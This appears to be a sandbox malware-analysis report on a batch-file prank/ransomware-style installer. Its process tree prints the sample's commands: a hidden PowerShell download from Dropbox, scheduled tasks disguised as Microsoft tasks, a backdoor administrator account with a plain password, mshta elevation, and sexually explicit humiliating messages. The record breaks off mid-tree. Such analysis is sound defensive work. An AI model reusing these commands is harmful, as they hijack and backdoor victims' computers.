Overview

overview

10

Static

static

1

install_sl...Am.bat

windows10-2004-x64

10

install_sl...Am.bat

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    452s
  • max time network
    428s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 19:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    install_slutware_qn6FAm.bat
  • Size 2KB
  • Sample260925-yjtx2swt6m
  • SHA256 1a759b1b5b1cd3e7b77a98477b2e407c8dbf584005c52e52044d45ccd4d1906c
  • MD5 SHA1 SHA512 TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarestealer

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://download.oracle.com/java/25/archive/jdk-25.0.2_windows-x64_bin.exe

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

    Run Powershell and hide display window.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Downloads MZ/PE file 1 IoCs
  • Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

    defense_evasion
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 38 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Drops file in System32 directory 3 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 46 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 27 IoCs
  • Modifies registry class 44 IoCs
  • Modifies registry key 1 TTPs 19 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install_slutware_qn6FAm.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      2⤵
        PID:2244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -c "$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fo/he4ork3q1uypempy8s21t/AH12w4EeVbaqQuSUTqHULRI?rlkey=hrty710x0l2xm5ykmnzwpk344&raw=1' -OutFile 'C:/ProgramData/slut/files.zip'"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3744
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files/7-Zip/7z.exe" x -aoa "C:/ProgramData/slut/files.zip"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4752
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic product where "name like 'Java'" call uninstall
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -file "installJavaAndApp.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1612
        • C:\Users\Admin\AppData\Local\Temp\jdk-25.0.2_windows-x64_bin.exe
          "C:\Users\Admin\AppData\Local\Temp\jdk-25.0.2_windows-x64_bin.exe" /s
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1996
          • C:\Users\Admin\AppData\Local\Temp\jds240793328.tmp\jdk-25.0.2_windows-x64_bin.exe
            "C:\Users\Admin\AppData\Local\Temp\jds240793328.tmp\jdk-25.0.2_windows-x64_bin.exe" "/s"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:5908
            • C:\Windows\System32\msiexec.exe
              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jdk25.0.2_x64\jdk25.0.264.msi" /qn ADDLOCAL=ToolsFeature WRAPPER=1
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:1784
      • C:\Program Files\Java\jdk-25.0.2\bin\java.exe
        "C:\Program Files/Java/jdk-25.0.2/bin/java" -jar C:/ProgramData/slut/Slut-SNAPSHOT.jar init
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5840
        • C:\Windows\SYSTEM32\whoami.exe
          whoami /user /fo csv /nh
          3⤵
            PID:2992
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /delete /tn slutMovieFile /F
            3⤵
              PID:5348
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /delete /tn Microsoft_Hardware_Launch_hardware /F
              3⤵
                PID:2244
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /delete /tn Microsoft_Hardware_Control_Time /F
                3⤵
                  PID:4812
                • C:\Windows\SYSTEM32\schtasks.exe
                  schtasks /delete /tn MicrosoftEdgeUpdateTaskMachineUI /F
                  3⤵
                    PID:1052
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /delete /tn Realtek_Driver_update /F
                    3⤵
                      PID:5368
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /delete /tn slutNewMovieFile /F
                      3⤵
                        PID:3804
                      • C:\Windows\SYSTEM32\REG.exe
                        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
                        3⤵
                        • Modifies registry key
                        PID:5184
                      • C:\Windows\SYSTEM32\REG.exe
                        REG ADD HKCU\Software\Policies\Microsoft\Windows\CloudContent /v DisableWindowsSpotlightFeatures /t REG_DWORD /d 1 /f
                        3⤵
                        • Modifies registry key
                        PID:4920
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /delete /tn UpdateslutFiles /F
                        3⤵
                          PID:248
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -Command "Register-ScheduledTask -TaskName "UpdateslutFiles" -Xml (Get-Content "c:\ProgramData\slutBat\updateSlut.xml" | Out-String) -User S-1-5-21-4057491610-3392471755-192832105-1000 -Force"
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          PID:6008
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -file "C:\ProgramData\slutBat\powershell.ps1"
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Enumerates connected drives
                          • Sets desktop wallpaper using registry
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:5012
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u1rzey3s\u1rzey3s.cmdline"
                            4⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4784
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9388.tmp" "c:\Users\Admin\AppData\Local\Temp\u1rzey3s\CSC2A18910C3BD943EDB22D8D29F2B9134D.TMP"
                              5⤵
                                PID:416
                          • C:\Windows\SYSTEM32\REG.exe
                            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d "c:\ProgramData\slut\wallpaper.jpg" /f
                            3⤵
                            • Modifies registry key
                            PID:2896
                          • C:\Windows\SYSTEM32\REG.exe
                            REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 0x00000001 /f
                            3⤵
                            • Modifies registry key
                            PID:4900
                          • C:\Windows\SYSTEM32\REG.exe
                            REG ADD "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "2" /f
                            3⤵
                              PID:4608
                            • C:\Windows\SYSTEM32\REG.exe
                              REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d "2" /f
                              3⤵
                                PID:3272
                              • C:\Windows\SYSTEM32\REG.exe
                                REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WallpaperEngine /f
                                3⤵
                                • Modifies registry key
                                PID:2888
                              • C:\Windows\SYSTEM32\REG.exe
                                REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /ve /f
                                3⤵
                                • Modifies registry key
                                PID:1532
                              • C:\Windows\SYSTEM32\REG.exe
                                REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImagePath /t REG_SZ /d "c:\ProgramData\slut\lockScreen.jpg" /f
                                3⤵
                                • Modifies registry key
                                PID:4076
                              • C:\Windows\SYSTEM32\REG.exe
                                REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageUrl /t REG_SZ /d "c:\ProgramData\slut\lockScreen.jpg" /f
                                3⤵
                                • Modifies registry key
                                PID:4020
                              • C:\Windows\SYSTEM32\REG.exe
                                REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageStatus /t REG_DWORD /d 1 /f
                                3⤵
                                • Modifies registry key
                                PID:3440
                              • C:\Windows\SYSTEM32\REG.exe
                                REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColorMenu /t REG_DWORD /d 0x00cbc0ff /f
                                3⤵
                                • Modifies registry key
                                PID:4780
                              • C:\Windows\SYSTEM32\REG.exe
                                REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize /v ColorPrevalence /t REG_DWORD /d 0x00000001 /f
                                3⤵
                                  PID:1548
                                • C:\Windows\SYSTEM32\REG.exe
                                  REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\Accent /v AccentColorMenu /t REG_DWORD /d 0x00da42f5 /f
                                  3⤵
                                    PID:5624
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Default /ve /t REG_SZ /d "c:\ProgramData\slut\insert.wav" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:2912
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Current /ve /t REG_SZ /d "c:\ProgramData\slut\insert.wav" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:4112
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Default /ve /t REG_SZ /d "c:\ProgramData\slut\eject.wav" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:872
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Current /ve /t REG_SZ /d "c:\ProgramData\slut\eject.wav" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:4344
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKCU\AppEvents\Schemes\Apps\.Default\WindowsUAC\.Default /ve /t REG_SZ /d "c:\ProgramData\slut\default.wav" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:1808
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKCU\AppEvents\Schemes\Apps\.Default\WindowsUAC\.Current /ve /t REG_SZ /d "c:\ProgramData\slut\default.wav" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:4556
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "This PC is claimed by ||CENSORED||" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:5576
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "Thank you for running the Slut app! You hereby confirm you are a needy slut and submit your pc to any changes I deem fit. I decide what your wallpaper, lockscreen, and profile picture is from now on, and there is nothing you can do about it. And don't forget to thank me~!" /f
                                    3⤵
                                    • Modifies registry key
                                    PID:1420
                                  • C:\Windows\SYSTEM32\REG.exe
                                    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v UseDefaultTile /t REG_DWORD /d 0x00000001 /f
                                    3⤵
                                    • Modifies registry key
                                    PID:3036
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle hidden Start-Process -FilePath C:\ProgramData\slutBat\x64\Register.cmd
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Enumerates connected drives
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:1836
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\slutBat\x64\Register.cmd" "
                                      4⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:3048
                                      • C:\Windows\system32\mshta.exe
                                        mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c C:\PROGRA~3\slutBat\x64\Register.cmd ::","","runas",1)(window.close)
                                        5⤵
                                        • Reads the TCP/IP host and domain name from the registry
                                        • Suspicious use of WriteProcessMemory
                                        PID:2944
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c C:\PROGRA~3\slutBat\x64\Register.cmd ::
                                          6⤵
                                          • Executes a command shell one-liner
                                          • Suspicious use of WriteProcessMemory
                                          PID:5728
                                          • C:\Windows\system32\regsvr32.exe
                                            regsvr32 "C:\PROGRA~3\slutBat\x64\ExplorerBgTool.dll" /s
                                            7⤵
                                            • Installs/modifies Browser Helper Object
                                            • Modifies registry class
                                            PID:1900
                                  • C:\Windows\SYSTEM32\net.exe
                                    net user /delete Censored
                                    3⤵
                                    • Indicator Removal: Network Share Connection Removal
                                    • Suspicious use of WriteProcessMemory
                                    PID:5312
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user /delete Censored
                                      4⤵
                                      • Indicator Removal: Network Share Connection Removal
                                      PID:2680
                                  • C:\Windows\SYSTEM32\net.exe
                                    net user /add Censored 12characters
                                    3⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:5220
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user /add Censored 12characters
                                      4⤵
                                        PID:4724
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      wmic UserAccount set PasswordExpires=False
                                      3⤵
                                      • Reads the TCP/IP host and domain name from the registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4552
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -Command "net localgroup (Get-WmiObject -Class Win32_Group -Filter 'LocalAccount = True AND SID = \"S-1-5-32-544\"').Name Censored /add"
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Enumerates connected drives
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of WriteProcessMemory
                                      PID:5532
                                      • C:\Windows\system32\net.exe
                                        "C:\Windows\system32\net.exe" localgroup Administrators Censored /add
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4312
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 localgroup Administrators Censored /add
                                          5⤵
                                            PID:4872
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        schtasks /delete /tn PhoneSlut /F
                                        3⤵
                                          PID:976
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -Command "Set-ExecutionPolicy Unrestricted -Scope LocalMachine"
                                          3⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Enumerates connected drives
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:5004
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -Command "Register-ScheduledTask -TaskName "PhoneSlut" -Xml (Get-Content "c:\ProgramData\slutBat\phoneSlut.xml" | Out-String) -User S-1-5-21-4057491610-3392471755-192832105-1000 -Force"
                                          3⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Enumerates connected drives
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:5424
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks /delete /tn slutMovieFile /F
                                          3⤵
                                            PID:5584
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -Command "Register-ScheduledTask -TaskName "slutMovieFile" -Xml (Get-Content "c:\ProgramData\slutBat\videoTask.xml" | Out-String) -User S-1-5-21-4057491610-3392471755-192832105-1000 -Force"
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Enumerates connected drives
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3064
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks /delete /tn Microsoft_Hardware_Launch_hardware /F
                                            3⤵
                                              PID:4268
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell.exe -Command "Register-ScheduledTask -TaskName "Microsoft_Hardware_Launch_hardware" -Xml (Get-Content "c:\ProgramData\slutBat\goonSessionTask.xml" | Out-String) -User S-1-5-21-4057491610-3392471755-192832105-1000 -Force"
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Enumerates connected drives
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4772
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks /delete /tn MicrosoftEdgeUpdateTaskMachineUI /F
                                              3⤵
                                                PID:3480
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell.exe -Command "Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineUI" -Xml (Get-Content "c:\ProgramData\slutBat\discord.xml" | Out-String) -User S-1-5-21-4057491610-3392471755-192832105-1000 -Force"
                                                3⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Enumerates connected drives
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:3988
                                              • C:\Windows\SYSTEM32\cmd.exe
                                                cmd /k start https://twitter.com/intent/tweet?text=Can%20someone%20please%20spit%20in%20my%20face%20and%20make%20me%20eat%20my%20own%20cum%F0%9F%98%87%0A%0A&url=
                                                3⤵
                                                • Executes a command shell one-liner
                                                PID:5096
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/intent/tweet?text=Can%20someone%20please%20spit%20in%20my%20face%20and%20make%20me%20eat%20my%20own%20cum%F0%9F%98%87%0A%0A
                                                  4⤵
                                                  • Enumerates system info in registry
                                                  • Modifies registry class
                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:4672
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2ec,0x7ffd64e6c188,0x7ffd64e6c194,0x7ffd64e6c1a0
                                                    5⤵
                                                      PID:1228
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,8028730833764617817,14717869444981335603,262144 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:2
                                                      5⤵
                                                        PID:684
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1892,i,5769135086000430122,4574405282942155263,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:11
                                                        5⤵
                                                        • System Time Discovery
                                                        PID:4356
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2700,i,10734606554310348632,10278306612930514070,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=2664 /prefetch:13
                                                        5⤵
                                                          PID:6136
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3648,i,530369999959477331,16328468649112031671,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:1
                                                          5⤵
                                                            PID:2696
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3652,i,624758223339349842,15089356088138061816,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
                                                            5⤵
                                                              PID:4420
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4320,i,10160810193073418376,17367467000269640363,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:1
                                                              5⤵
                                                                PID:904
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4332,i,15215903617131612220,7944083727981335329,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:9
                                                                5⤵
                                                                  PID:4576
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,4641557999110070898,17357904555906416837,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:14
                                                                  5⤵
                                                                    PID:52
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5428,i,7412759987138501020,16627699160736680495,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
                                                                    5⤵
                                                                      PID:4108
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5540,i,1736289493472261981,11722954449815530902,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:14
                                                                      5⤵
                                                                        PID:1756
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,5862685618116928637,9273938733740505277,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:14
                                                                        5⤵
                                                                          PID:5308
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
